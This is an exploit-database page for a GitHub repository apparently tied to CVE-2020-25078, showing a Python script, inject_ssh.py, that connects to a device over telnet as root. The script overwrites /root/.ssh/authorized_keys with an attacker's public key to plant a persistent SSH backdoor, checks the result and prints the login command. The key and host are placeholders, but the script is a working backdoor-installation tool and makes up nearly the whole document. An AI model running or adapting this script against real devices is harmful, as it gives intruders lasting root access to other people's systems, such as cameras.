Exploit database

GH-2af8eacf03924d61b877104a3bad36c4

flags-alt/abyss-c2

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2020-25078

14 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files39
flags-alt/abyss-c2Revision e53991d4aec1

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

inject_ssh.py

Python · 1,049 bytes
import sys, time
sys.path.insert(0, r'.')
import telnet_client

# Clear session pool
telnet_client._sessions.clear()

pubkey = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDPLACEHOLDERKEYONLYFORPUBLICTEMPLATE sanitized@example-host"

from telnet_client import TelnetSession
tn = TelnetSession('192.0.2.10', 23, 'root', 'CHANGE_ME')

try:
    if tn.connect(timeout=12):
        print("ROOT SHELL ACTIVE")
        
        cmd = "python -c \"f=open('/root/.ssh/authorized_keys','w');f.write('" + pubkey.replace("'","'\\''") + "');f.close()\""
        r = tn.execute(cmd, timeout=20)
        print("Key injected:", len(r), "bytes output")

        r = tn.execute('cat /root/.ssh/authorized_keys | head -c 80', timeout=10)
        print("HEAD:", r)
        
        r = tn.execute('ls -la /root/.ssh/', timeout=8)
        print("LS:", r)
        
        print("\nDONE! Run: ssh -i C:\\Users\\flag\\.ssh\\camera_key [email protected]")
    else:
        print("FAILED to connect as root")
except Exception as e:
    print(f"ERROR: {e}")
finally:
    tn.close()